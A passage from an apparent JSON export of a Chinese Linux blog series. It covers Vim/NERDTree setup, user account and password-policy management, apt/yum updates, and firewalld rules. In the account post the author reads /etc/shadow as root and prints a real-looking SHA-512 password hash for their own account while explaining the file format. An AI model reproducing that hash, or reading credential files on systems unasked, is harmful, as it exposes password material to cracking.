g:NERDTreeDirArrowExpandable = \u0026#39;▸\u0026#39; \u0026#34; NERDTree 圖標 let g:NERDTreeDirArrowCollapsible = \u0026#39;▾\u0026#39; \u0026#34; NERDTree 圖標 let g:NERDTreeHidden=0 \u0026#34;不顯示隱藏檔案 \u0026#34; let NERDTreeMinimalUI = 1 \u0026#34; let NERDTreeDirArrows = 1 let g:NERDTreeNodeDelimiter = \u0026#34;\\u00a0\u0026#34; \u0026#34; git Plugin \u0026#39;airblade/vim-gitgutter\u0026#39; set updatetime=200 \u0026#34; 每兩秒檢查一次有差異 highlight GitGutterAdd ctermfg=blue highlight GitGutterChange ctermfg=green highlight GitGutterDelete ctermfg=red \u0026#34; nerdtree Plugin \u0026#39;preservim/nerdtree\u0026#39; \u0026#34; Your plugin end call vundle#end() \u0026#34; required filetype plugin indent on \u0026#34; required \u0026#34; Vundle end 常用快捷建 # Crtl + w w 循环所有窗口\nCrtl + w h 让你离开一个窗口\nCrtl + w j 把你拉下窗户\nCrtl + w k 带你上一个窗口\nCrtl + w l 带你到一个窗口\n套件管理工具 # 下載管理工具 1 git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim 執行安裝 1 vim +PluginInstall NERDTree 安裝 # 1 2 3 4 5 6 7 8 9 10 cd ~ mkdir nerdtree cd nerdtree wget http://www.vim.org/scripts/download_script.php?src_id=17123 -O nerdtree.zip unzip nerdtree.zip mkdir -p ~/.vim/{plugin,doc} cp ~/nerdtree/plugin/NERD_tree.vim ~/.vim/plugin/ cp ~/nerdtree/doc/NERD_tree.txt ~/.vim/doc/ vim ~/.vimrc 加入：map \u0026lt;F5\u0026gt; :NERDTreeToggle\u0026lt;CR\u0026gt; NERDTree 快捷鍵 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 ctrl + w + h 光標 focus 左側樹形目錄 ctrl + w + l 光標 focus 右側文件顯示窗口 ctrl + w + w 光標自動在左右側窗口切換 ctrl + w + r 移動當前窗口的布局位置 o 在已有窗口中打開文件、目錄或書簽，並跳到該窗口 go 在已有窗口 中打開文件、目錄或書簽，但不跳到該窗口 t 在新 Tab 中打開選中文件/書簽，並跳到新 Tab T 在新 Tab 中打開選中文件/書簽，但不跳到新 Tab i split 一個新窗口打開選中文件，並跳到該窗口 gi split 一個新窗口打開選中文件，但不跳到該窗口 s vsplit 一個新窗口打開選中文件，並跳到該窗口 gs vsplit 一個新 窗口打開選中文件，但不跳到該窗口 ! 執行當前文件 O 遞歸打開選中 結點下的所有目錄 x 合攏選中結點的父目錄 X 遞歸 合攏選中結點下的所有目錄 e Edit the current dif 雙擊 相當於 NERDTree-o 中鍵 對文件相當於 NERDTree-i，對目錄相當於 NERDTree-e D 刪除當前書簽 P 跳到根結點 p 跳到父結點 K 跳到當前目錄下同級的第一個結點 J 跳到當前目錄下同級的最後一個結點 k 跳到當前目錄下同級的前一個結點 j 跳到當前目錄下同級的後一個結點 C 將選中目錄或選中文件的父目錄設為根結點 u 將當前根結點的父目錄設為根目錄，並變成合攏原根結點 U 將當前根結點的父目錄設為根目錄，但保持展開原根結點 r 遞歸刷新選中目錄 R 遞歸刷新根結點 m 顯示文件系統菜單 cd 將 CWD 設為選中目錄 I 切換是否顯示隱藏文件 f 切換是否使用文件過濾器 F 切換是否顯示文件 B 切換是否顯示書簽 q 關閉 NerdTree 窗口 ? 切換是否顯示 Quick Help :tabnew [++opt選項] ［＋cmd］ 文件 建立對指定文件新的tab :tabc 關閉當前的 tab :tabo 關閉所有其他的 tab :tabs 查看所有打開的 tab :tabp 前一個 tab :tabn 後一個 tab 1 2 3 4 5 6 功能\t快捷键\t解释 新建文件\tma\t在要创建文件的目录中按命令 ma然后键入你要创建的文件名称即可。 删除文件\tmd\t在要删除的文件上按命令md然后输入y回车即可。 移动文件/修改文件名\tmm\t在要修改的文件上按命令mm然后输入对应的目录和名称回车即可。 设置当前目录为项目根目录\tC\t在要设置为根目录的目录上按命令C【大写】即可。（刚学vim的时候总是不小心按到u命令把不必要的目录设置成了我的项目根目录，当时一直没找到比较好的解决方案很尴尬只能重启vim解决现在只要按C命令改回来即可） 查看当前文件所在目录\t:NERDTreeFind\t执行命令 :NERDTreeFind 或则在.vimrc中添加 map \u0026lt;leader\u0026gt;v :NERDTreeFind\u0026lt;CR\u0026gt; 全局使用 \u0026lt;leader\u0026gt;v命令(我的是,v)直接显示当前文件所在目录。 bash-support # 安裝 # 1 2 3 4 5 cd ~/Doenloads wget -O bash-support.zip http://www.vim.org/scripts/download_script.php?src_id=9890 mkdir ~/.vim # if the directory does not exist already cd ~/.vim unzip ~/Doenloads/bash-support.zip 新增 ~/.vimrc 內容\n1 filetype plugin on bash-support 常用快捷鍵 # 1 2 3 4 5 6 7 8 9 10 11 12 \\sc case in … esac \\sl elif then \\sf for in do done \\sfo for ((…)) do done \\si if then fi \\sie if then else fi \\ss select in do done \\st until do done \\sw while do done \\sfu function \\se echo ­e “\\n” \\sp printf “\\n” 常用功能 # 搜尋並取代字串 1 :%s/search_from/replace_to/g 自己的配置 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 set nocompatible \u0026#34; be iMproved, required filetype off \u0026#34; required set et \u0026#34; expandtab,用空格代替Tab鍵 au InsertLeave *.eml write \u0026#34; 每次退出插入模式時自動儲存 \u0026#34; 語法識別 syntax enable \u0026#34; 終端機背景色 : dark / light set background=dark \u0026#34; 執行程式 nmap \u0026lt;F8\u0026gt; :call CompileRun()\u0026lt;CR\u0026gt; func! CompileRun() exec \u0026#34;w\u0026#34; if \u0026amp;filetype == \u0026#39;python\u0026#39; exec \u0026#34; !time python3 %\u0026#34; elseif \u0026amp;filetype == \u0026#39;java\u0026#39; exec \u0026#34; !javac %\u0026#34; exec \u0026#34; !time java %\u0026lt;\u0026#34; elseif \u0026amp;filetype == \u0026#39;sh\u0026#39; exec \u0026#34;w !bash\u0026#34; endif endfunc filetype plugin on \u0026#34; vim-bash-support let g:BASH_AuthorName = \u0026#39;PolloChang\u0026#39; let g:BASH_Email = \u0026#39;jameschangwork@gmail.com\u0026#39; let g:BASH_Company = \u0026#39;Open Source Corporation\u0026#39; \u0026#34; set the runtime path to include Vundle and initialize set rtp+=~/.vim/bundle/Vundle.vim call vundle#begin() \u0026#34; alternatively, pass a path where Vundle should install plugins \u0026#34;call vundle#begin(\u0026#39;~/some/path/here\u0026#39;) \u0026#34; let Vundle manage Vundle, required Plugin \u0026#39;VundleVim/Vundle.vim\u0026#39; Plugin \u0026#39;vim-airline/vim-airline\u0026#39; Plugin \u0026#39;airblade/vim-gitgutter\u0026#39; Plugin \u0026#39;preservim/nerdtree\u0026#39; \u0026#34;autocmd vimenter * NERDTree \u0026#34;自動開啟Nerdtree let g:NERDTreeWinSize = 25 \u0026#34;設定 NERDTree 視窗大小 \u0026#34;開啟/關閉nerdtree快捷鍵 map \u0026lt;F5\u0026gt; :NERDTreeToggle\u0026lt;CR\u0026gt; \u0026#34;開啟vim時如果沒有檔案自動開啟NERDTree autocmd vimenter * if !argc()|NERDTree|endif \u0026#34;當NERDTree為剩下的唯一視窗時自動關閉 autocmd bufenter * if (winnr(\u0026#34;$\u0026#34;) == 1 \u0026amp;\u0026amp; exists(\u0026#34;b:NERDTree\u0026#34;) \u0026amp;\u0026amp; b:NERDTree.isTabTree()) | q | endif let g:NERDTreeDirArrowExpandable = \u0026#39;▸\u0026#39; let g:NERDTreeDirArrowCollapsible = \u0026#39;▾\u0026#39; let g:NERDTreeHidden=0 \u0026#34;不顯示隱藏檔案 \u0026#34; let NERDTreeMinimalUI = 1 \u0026#34; let NERDTreeDirArrows = 1 let g:NERDTreeNodeDelimiter = \u0026#34;\\u00a0\u0026#34; Plugin \u0026#39;xuyuanp/nerdtree-git-plugin\u0026#39; let g:NERDTreeGitStatusShowIgnored = 1 let g:NERDTreeGitStatusIndicatorMapCustom = { \\ \u0026#34;Modified\u0026#34; : \u0026#34;✹\u0026#34;, \\ \u0026#34;Staged\u0026#34; : \u0026#34;✚\u0026#34;, \\ \u0026#34;Untracked\u0026#34; : \u0026#34;✭\u0026#34;, \\ \u0026#34;Renamed\u0026#34; : \u0026#34;➜\u0026#34;, \\ \u0026#34;Unmerged\u0026#34; : \u0026#34;═\u0026#34;, \\ \u0026#34;Deleted\u0026#34; : \u0026#34;✖\u0026#34;, \\ \u0026#34;Dirty\u0026#34; : \u0026#34;✗\u0026#34;, \\ \u0026#34;Clean\u0026#34; : \u0026#34;✔︎\u0026#34;, \\ \u0026#39;Ignored\u0026#39; : \u0026#39;☒\u0026#39;, \\ \u0026#34;Unknown\u0026#34; : \u0026#34;?\u0026#34; \\ } Plugin \u0026#39;ryanoasis/vim-devicons\u0026#39; set encoding=UTF-8 let g:webdevicons_enable_nerdtree = 1 let g:webdevicons_conceal_nerdtree_brackets = 1 let g:webdevicons_enable_airline_tabline = 1 let g:webdevicons_enable_airline_statusline = 1 Plugin \u0026#39;tiagofumo/vim-nerdtree-syntax-highlight\u0026#39; let g:NERDTreeFileExtensionHighlightFullName = 1 let g:NERDTreeExactMatchHighlightFullName = 1 let g:NERDTreePatternMatchHighlightFullName = 1 let g:NERDTreeHighlightFolders = 1 let g:NERDTreeHighlightFoldersFullName = 1 let s:brown = \u0026#34;905532\u0026#34; let s:aqua = \u0026#34;3AFFDB\u0026#34; let s:blue = \u0026#34;689FB6\u0026#34; let s:darkBlue = \u0026#34;44788E\u0026#34; let s:purple = \u0026#34;834F79\u0026#34; let s:lightPurple = \u0026#34;834F79\u0026#34; let s:red = \u0026#34;AE403F\u0026#34; let s:beige = \u0026#34;F5C06F\u0026#34; let s:yellow = \u0026#34;F09F17\u0026#34; let s:orange = \u0026#34;D4843E\u0026#34; let s:darkOrange = \u0026#34;F16529\u0026#34; let s:pink = \u0026#34;CB6F6F\u0026#34; let s:salmon = \u0026#34;EE6E73\u0026#34; let s:green = \u0026#34;8FAA54\u0026#34; let s:Turquoise = \u0026#34;40E0D0\u0026#34; let s:lightGreen = \u0026#34;31B53E\u0026#34; let s:white = \u0026#34;FFFFFF\u0026#34; let s:rspec_red = \u0026#34;FE405F\u0026#34; let s:git_orange = \u0026#34;F54D27\u0026#34; let s:gray = \u0026#34;808A87\u0026#34; let g:NERDTreeExtensionHighlightColor = {} \u0026#34; this line is needed to avoid error let g:NERDTreeExtensionHighlightColor[\u0026#39;o\u0026#39;] = s:gray \u0026#34; sets the color of o files to blue let g:NERDTreeExtensionHighlightColor[\u0026#39;h\u0026#39;] = s:blue \u0026#34; sets the color of h files to blue let g:NERDTreeExtensionHighlightColor[\u0026#39;c\u0026#39;] = s:green \u0026#34; sets the color of c files to blue let g:NERDTreeExtensionHighlightColor[\u0026#39;cpp\u0026#39;] = s:green \u0026#34; sets the color of cpp files to blue let g:NERDTreeExtensionHighlightColor[\u0026#39;c++\u0026#39;] = s:green Plugin \u0026#39;itspriddle/vim-shellcheck\u0026#39; \u0026#34; Markdown 插件 Plugin \u0026#39;gabrielelana/vim-markdown\u0026#39; Plugin \u0026#39;tyru/open-browser.vim\u0026#39; Plugin \u0026#39;kannokanno/previm\u0026#39; \u0026#34; All of your Plugins must be added before the following line call vundle#end() \u0026#34; required filetype plugin indent on \u0026#34; required \u0026#34; To ignore plugin indent changes, instead use: \u0026#34;filetype plugin on \u0026#34; \u0026#34; Brief help \u0026#34; :PluginList - lists configured plugins \u0026#34; :PluginInstall - installs plugins; append `!` to update or just :PluginUpdate \u0026#34; :PluginSearch foo - searches for foo; append `!` to refresh local cache \u0026#34; :PluginClean - confirms removal of unused plugins; append `!` to auto-approve removal \u0026#34; \u0026#34; see :h vundle for more details or wiki for FAQ \u0026#34; Put your non-Plugin stuff after this line \u0026#34; \u0026#34; git set set updatetime=200 highlight GitGutterAdd ctermfg=blue highlight GitGutterChange ctermfg=green highlight GitGutterDelete ctermfg=red \u0026#34; 個人化設定 \u0026#34; set t_Co=256 set cursorline \u0026#34; 顯示游標所在的列 \u0026#34; hi CursorLine cterm=none ctermbg=DarkMagenta ctermfg=White set cursorcolumn \u0026#34; 顯示游標所在的行 \u0026#34; 自動判斷編碼 set fileencodings=utf-8,utf-16,big5,gb2312,gbk,gb18030,euc-jp,euc-kr,latin1 if has(\u0026#34;multi_byte\u0026#34;) else echoerr \u0026#34;If +multi_byte is not included, you should compile Vim with big features.\u0026#34; endif set encoding=utf-8 set wrap \u0026#34; 自動換行 set nu set history=1000 參考資料 # Vim樹狀目錄插件NERDTree安裝和使用\n【Vim 編輯器 配置指南】訂製個人的編輯神器\nMake Vim as Your Bash-IDE Using bash-support Plugin\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/019-%E4%BE%86%E7%9C%8B%E7%9C%8B%E6%96%87%E5%AD%97%E7%B7%A8%E8%BC%AF%E5%B7%A5%E5%85%B7/","section":"Posts","summary":"我的Linux生活日記 19.來看看文字編輯工具-vim # 使用電腦一定會用到文字編輯工具，在熟悉的微軟世界是記事本，那在Linux 是什麼呢？Text Editor，是我第一次使用的工具，同時也是Gnome桌面預設的文字編輯工具。不過還有很多種類下就帶大家看看有哪些。\n","title":"我的Linux生活日記 19.來看看文字編輯工具-vim","type":"post"},{"content":" 我的Linux生活日記 21.使用者帳號管理 # 今天來簡單說明一下帳號管理的部份，我以 Gnome 的使用介面會比較親進一些。\n新增使用者 # 位置如下\n1 settings \u0026gt;\u0026gt; Details \u0026gt;\u0026gt; Users 到使用者管理頁面之後，需要先解鎖。密碼就是你登入的密碼。\n點擊 「add user」\n輸入要新增的使用者資訊\n點擊 「add」\n之後就會出現剛剛新增使用者的資訊在使用者管理頁面中\n看完以上，是不是覺得跟在 windows 上一樣簡單。接下來看看剛剛一番操作之後系統發生什麼變化呢？\n帳號資訊: /etc/passwd # 系統會將使用者資訊紀錄在這個文件中：/etc/passwd\n1 2 \u0026gt; $ cat /etc/passwd | grep pollochang pollochang:x:1001:1001:pollochang,,,:/home/pollochang:/bin/bash 以冒號 : 為分隔欄位\n帳號名稱 密碼: 因為密碼都紀錄在 /etc/shadow 文件中，所以這裡是以 x 表示 UID: 使用者在系統的唯一代號 GID: 使用者群組代號 使用者資訊說明欄位 使用者家目錄 使用者預設shell 名稱 密碼資訊: /etc/shadow # 以冒號 : 為分隔欄位\n1 2 root@JamesChangNB:~# cat /etc/shadow | grep pollochang pollochang:$6$JaseGnZpc.VeUeCM$/iu963R2FHzoGV5zBkh390weaQ0osO3wwE54xobUX8I6llYULw/004iL8mvUVAFfq9SraOPBWV97.EgPhslvt.:19269:0:99999:7::: Username(使用者名稱)\nPassword(密碼): 這裡已經是加密過後資訊\n規則為: $[加密方式]$[加鹽]$[值]\n加密方式\n$1$ : MD5 $2a$ : Blowfish $2y$ : Blowfish $5$ : SHA-256 $6$ : SHA-512 Last password change(密碼更動時間)\nMinimum(密碼不可以更動天數)\nMaximum(密碼有效天數): 99999 表示永久有效\nWarn(密碼快失效前發出警告訊息)\nInactive（允許密碼過期後可變更密碼天)\nExpire(密碼到期)：以 1970 年 1 月 1 日以來的天數表示(UNIX 時間元年)\n密碼設定相關 # 資安及國安，在2021年被政府大聲倡導之後，作業系統帳戶安全變成這幾年資安集合的重點，所以這邊我也提及一下密碼相關設定吧。\n設定密碼必須相隔 7 天才能換 # 1 chage -m 7 pollochang 設定密碼 90 天必須重新設定 # 1 chage -M 90 pollochang 1 2 3 for user in $(cut -f1 -d: /etc/passwd); do sudo chage --maxdays 90 --mindays 7 --warndays 7 $user done 設定密碼到期前 5 天發處警告訊息 # 1 chage -W 5 pollochang 密碼原則-/etc/login.defs # 以上是針對目前已經存在系統上的帳戶資訊做設定，未來新增帳號後需要可以透過 密碼原則文件 /etc/login.defs 做處理\n這份檔案類似模板，只會影響到新加的使用者，對於已經存在的使用者並不影響\nPASS_MAX_DAYS 99999 #密碼最大有效期 PASS_MIN_DAYS 0 #兩次修改密碼的最小間隔時間 PASS_MIN_LEN 5 #密碼最小長度，對於root無效, 此參數於 CentOS 已失效，改用 system-auth，須於 /etc/pam.d/system-auth 設定 PASS_WARN_AGE 7 #密碼過期前多少天開始提示 設定密碼複雜度規則 # debian 需要安裝 libpam-pwquality\n/etc/pam.d/system-auth \u0026raquo; centos /etc/pam.d/system-auth-ac 強制使用強密碼（使用者密碼安全配置）\nminlen=N: 密碼長度+分數後的最小值 lcredit: 密碼中若包含小寫字元，所得的分數 lcredit=-1 至少包含1個小寫字母 ucredit: 密碼中若包含大寫字元，所得的分數 ucredit=-1 至少包含1個大寫字母 dcredit=N: 密碼中若包含數字，所得的分數。若 N 大於或等於 0，則此數值代表密碼中的數字對密碼長度 minlen 的最大額外貢獻值。預設值為 0，代表數字沒有任何額外貢獻值。若 N 小於 0，則此數值代表密碼中至少要包含多少個數字。 dcredit=-1 至少包含1個數字 ocredit: 密碼中若包含其他字元，所得的分數 ocredit=-1 至少包含1個特殊字元 debug: 啟用除錯功能，將除錯資訊輸出至 syslog。 retry=N: 設定使用者輸入密碼的最高嘗試次數，當密碼輸入超過 N 次就會產生錯誤。 difok=N: 設定新密碼中必須有 N 個字元要與舊密碼不同，預設值為 1。若設定為 0 則代表停用相似度檢測，只要新密碼與舊密碼不要完全一樣即可。 dcredit=N lcredit=N: 若 N 大於或等於 0，則此數值代表密碼中的小寫英文字母對密碼長度 minlen 的最大額外貢獻值。預設值為 0，代表小寫英文字母沒有任何額外貢獻值。若 N 小於 0，則此數值代表密碼中至少要包含多少個小寫英文字母。 ocredit=N: 若 N 大於或等於 0，則此數值代表密碼中的特殊字元（除了數字、英文字母之外的字元）對密碼長度 minlen 的最大額外貢獻值。預設值為 0，代表特殊字元沒有任何額外貢獻值。若 N 小於 0，則此數值代表密碼中至少要包含多少個特殊字元。\\ minclass=N: 密碼中至少須包含 N 類型的字元，可用的字元類型有小寫英文字母、大寫英文字母、數字與特殊字元四類。 maxrepeat=N: 密碼中相同的字元最多只能連續出現 N 個，若一個字元連續出現超過 N 次，則密碼就會被拒絕使用。 maxsequence=N: 密碼中有規則的單調（monotonic）字元最多只能連續出現 N 個，若單調字元連續出現超過 N 次，則密碼就會被拒絕使用。常見的單調字元有 12345、fedcb。 maxclassrepeat=N: 密碼中有相同類型的字元（大小寫字母、數字、特殊字元）最多只能連續出現 N 個，若相同類型字元連續出現超過 N 次，則密碼就會被拒絕使用。 gecoscheck=N: 若 N 為非 0 的數值，則檢查 /etc/passwd 的各 GECOS 欄位中，長度超過三的單字是否有被包含在密碼中。預設值為 0，代表不檢查。 dictcheck=N: 若 N 為非 0 的數值，則檢查密碼是否包含於字典檔中，目前使用 cracklib 所提供的字典檔進行檢測。預設值為 1，代表進行本項檢測。 usercheck=N: 若 N 為非 0 的數值，則檢查密碼是否包含使用者名稱。預設值為 1，代表進行本項檢測。 enforcing=N: 若 N 為非 0 的數值，則當密碼不合格時，就強制退回密碼，讓使用者重設，若設定為 0，則當密碼不合格時就只會顯示警告訊息。預設值為 1。 badwords=word1 word2 word3 \u0026hellip;: 指定密碼中不可以包含的字串。 dictpath=/path/to/dict: 自訂 cracklib 字典檔路徑。 enforce_for_root: 設定 root 管理者亦需遵守密碼檢查的各種規定。此功能預設為關閉，代表 root 管理者輸入不符合規定的密碼時，只會顯示警告訊息，但是依然可以使用指定的密碼。 local_users_only: 指定 pam_pwquality 模組只針對存在於 /etc/passwd 的使用者進行密碼品質檢查。 針對上面提到的分數，舉例來說如果設定值是 minlen=8 lcredit=1 ucredit=1 dcredit=0 ocredit=0\n那麼即使使用者的密碼只有 6 個字：ATGByujn，但是因為密碼包含了大小寫，所以另外拿了 2 分 因此 6+2=8，還是會滿足了 minlen=8 的設定\nRedHat 1 password requisite pam_cracklib.so try_first_pass retry=3 type= minlen=8 lcredit=1 ucredit=1 dcredit=0 ocredit=0 Debian 1 password requisite pam_pwquality.so retry=5 minlen=8 帳戶密碼資訊 # 1 chage -l pollochang 1 2 3 4 5 6 7 8 root@JamesChangNB:~# chage -l pollochang Last password change : Oct 04, 2022 Password expires : Nov 03, 2022 Password inactive : never Account expires : never Minimum number of days between password change : 7 Maximum number of days between password change : 30 Number of days of warning before password expires : 5 GCB 政府組態基準 # 在 GBC 規範中有提及帳戶資訊安全，我覺得可以嘗試部署在你我的電腦中，在TWGCB-01-008_Red Hat Enterprise Linux 8政府組態基準說明文件v1.0_1100924.pdf 第196頁 第208項 至 第226頁\n查詢帳號登入 # 1 journalctl --since \u0026#34;2024-06-16\u0026#34; --until \u0026#34;2024-06-18\u0026#34; -u systemd-logind 參考資料 # Understanding /etc/shadow file format on Linux\nLinux 設定使用者密碼使用期限教學與範例\n/etc/login.defs\nLinux 密碼原則設定\nLinux多次登入失敗使用者被鎖定使用Pam_Tally2解鎖\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/021-%E4%BD%BF%E7%94%A8%E8%80%85%E5%B8%B3%E8%99%9F%E7%AE%A1%E7%90%86/","section":"Posts","summary":"我的Linux生活日記 21.使用者帳號管理 # 今天來簡單說明一下帳號管理的部份，我以 Gnome 的使用介面會比較親進一些。\n","title":"我的Linux生活日記 21.使用者帳號管理","type":"post"},{"content":" 我的Linux生活日記 22.系統更新 # 一套可以應付日常生活工作的Linux 是由不同軟體組成的，只要是人撰寫的程式一定會有 Bug，這些系統問題被修復以後就會需要更新，以下是更新系統的方式。\napt # Debian 系列的套件管理工具，Debian 官方網站有詳細的使用方式，這邊我介紹日常生活中常用到的幾個。\n更新套件清單 # 1 sudo apt update 檢視可以更新的套件 # 1 apt list --upgradable 更新套件 # 1 sudo apt upgrade 移除已不需要的套件 # 1 sudo apt autoremove 1 2 3 4 \u0026gt; $ apt list --upgradable Listing... Done google-chrome-stable/stable 106.0.5249.91-1 amd64 [upgradable from: 106.0.5249.61-1] libhttp-daemon-perl/oldstable 6.01-3+deb10u1 all [upgradable from: 6.01-3] 使用 deb 檔案更新或安裝 # 1 sudo apt install ./[安裝檔].deb yum # RedHat 系列的套件管理工具\n更新所有的套件 # 這部份等同Debian 的 apt upgrade \u0026amp;\u0026amp; apt autoremove\n1 sudo yum update 檢視可以更新的套件 # 1 yum check-update 原機系統升級 # 我比較少做這種事情，如果是實體機器做系統升級，我是直接重新安裝升級，順便整理電腦。甚至直接買新的硬碟直接安裝。比較不建議原機直接系統升級。主要原因有一個：無法還原到升級之前的狀況。\n如果最後還是得做員機系統升級，建議照下列步驟，這是我之前為了體驗 Debian 測試版本的紀錄。\nDebian 備份重要資料 這一步驟相當重要，因為永遠不會知道更新過程中發生什麼事情，例如：電腦突然斷電。\n更新套件至最新 1 sudo apt update \u0026amp;\u0026amp; sudo apt -y upgrade 更改 /etc/apt/sources.list Debian 為底的發行版本大部分都會有這份文件。\n更新套件 1 sudo apt update \u0026amp;\u0026amp; sudo apt -y upgrade 系統升級 1 sudo apt full-upgrade 參考資料 # Debian 軟體包管理\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/022-%E7%B3%BB%E7%B5%B1%E6%9B%B4%E6%96%B0/","section":"Posts","summary":"我的Linux生活日記 22.系統更新 # 一套可以應付日常生活工作的Linux 是由不同軟體組成的，只要是人撰寫的程式一定會有 Bug，這些系統問題被修復以後就會需要更新，以下是更新系統的方式。\n","title":"我的Linux生活日記 22.系統更新","type":"post"},{"content":" 我的Linux生活日記 23.防火牆-firewalld # firewalld # 今天來跟大家介紹防火牆。在日常生活中還是得設定防火牆確保陌生人不會隨意進入自己的主機中。在Debian 為底的系統中主要是以 ufw(簡易防火牆) 為主，但是在網站系統中我比較會以 firewalld 為主，畢竟在伺服器里都會有一個或是兩個以上的網段、網卡要管理。今天就介紹比較常用的設定方式。\n另外在 debian 10 有安裝 KVM 或是 ubuntu 20.04 LTS 有安裝 docker 就不建議使用 firewalld ，因為當前版本會導致KVM 網路 或是 docker 網路異常。此問題在下一個發行版才有獲得解決。\nzone-區域簡介 # firewalld 的概念事先將網卡劃分區塊(zone)，每張網卡就好比是家裡的每一扇門，而區域就是主臥、客廳、室外。我舉幾個比較常用的區域：\npublic 顧名思義就是公眾區域，好比家裡的大門是通往外面的世界，逼安只會允許公開的服務接口通過，如：22\ntrusted 就像是自己房間區域一樣，可以允許所有的連線連接主機裡面的服務。\nlibvirt libvirt 是比校特殊的區域，主要是處理 KVM 的網路介面。而且只有 KVM 的網路介面可以到此區域，同時KVM 網路介面也無法加入到其他區域。原因可能是是過度階段，未來版本可能就沒有了。\n安裝防火牆 # Debian Debian 如果要使用firewalld 建議先將預設的防火牆移除在安裝 firewalld\n1 2 apt remove ufw apt install firewalld CentOS7 1 yum install firewalld 查詢版本 # 1 firewall-cmd --version 新增網卡至特定區域 # 先查詢網卡 1 ip addr 設定網卡 1 sudo firewall-cmd --permanent --zone=trusted --change-interface=eth0 檢視防火牆規則 # 1 firewall-cmd --list-all 查詢那協正在運作的 zone # 1 firewall-cmd --get-active-zones 重新讀取設定 # 1 firewall-cmd --reload 下列範例我都會加 --permanent 永久設置選項，加了此選項必須重新讀取才會生效。如果不加永久選項，執行設定之後就會立刻生效，但是重新開機會是重新啟動 firewalld 就會回到設定前的狀態。\n新增/刪除 服務 # 採用服務規則時要記住實際上只會開預設的port，例如http 預設是走 80 ，如果網頁伺服器實際上是走 10010 一樣會被擋下來唷！\n常見的連接埠可以參考linux 這份文件 /etc/services\n當然更多資訊可以從這裡得知 Service Name and Transport Protocol Port Number Registry\n新增 1 firewall-cmd --permanent --add-service=http 移除 1 firewall-cmd --permanent --remove-service=http 新增/刪除 port # 新增 1 firewall-cmd --permanent --zone=public --add-port=4848/tcp 移除 1 firewall-cmd --permanent --zone=public --remove-port=4848/tcp 允許特定網段、IP 通過 # 這部份我是直接用 rich-rule 處理，因為我就是不想多記一點指令。\n新增 1 2 firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.1\u0026#34; accept\u0026#39; firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.0/24\u0026#34; accept\u0026#39; 移除 1 2 firewall-cmd --permanent --zone=public --remove-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.1\u0026#34; accept\u0026#39; firewall-cmd --permanent --zone=public --remove-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.0/24\u0026#34; accept\u0026#39; 允許特定網段、IP 通過 指定 port # 新增 1 2 firewall-cmd --permanent --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.1\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;33899\u0026#34; accept\u0026#39; firewall-cmd --permanent --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.0/24\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;33899\u0026#34; accept\u0026#39; 移除 1 2 firewall-cmd --permanent --remove-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.1\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;33899\u0026#34; accept\u0026#39; firewall-cmd --permanent --remove-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.0/24\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;33899\u0026#34; accept\u0026#39; iptables # 有項需求是這樣的：有一台虛擬機有安裝資料庫 MySQL，在資安規劃上只允許系統 網頁伺服器 及 控制主機 向 資料庫服務 連接，而且禁止該虛擬機連到其他設備。\n上述需求要怎麼完成呢？如果是昨天說到的防火牆 firewalld 是可以做到的，但是在維護上會很困難，因為 firewalld的主要原則是網路流向從外進入主機嚴謹，從主機內部到外部網路環境寬鬆，而上述需求剛剛好跟 firewalld 衝突。不同的需求有不同合適工具可以達成，今天就用 iptables 完成這項需求。\n需求分析 # 設定之前必須先規劃防火牆，但是規劃之前做重要的事釐清網路環境。首先必須先知道該虛擬機的網卡IP。\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ ip addr 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 3: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 7c:2a:31:fa:6b:7b brd ff:ff:ff:ff:ff:ff inet 192.168.1.11/24 brd 192.168.1.255 scope global dynamic noprefixroute wlp1s0 valid_lft 85410sec preferred_lft 85410sec inet6 2404:0:8038:d3bf:1182:9247:af40:4002/64 scope global dynamic noprefixroute valid_lft 297sec preferred_lft 117sec inet6 fe80::3c62:bfc7:cd45:4644/64 scope link noprefixroute valid_lft forever preferred_lft forever 然後連線的 網頁伺服器主機IP 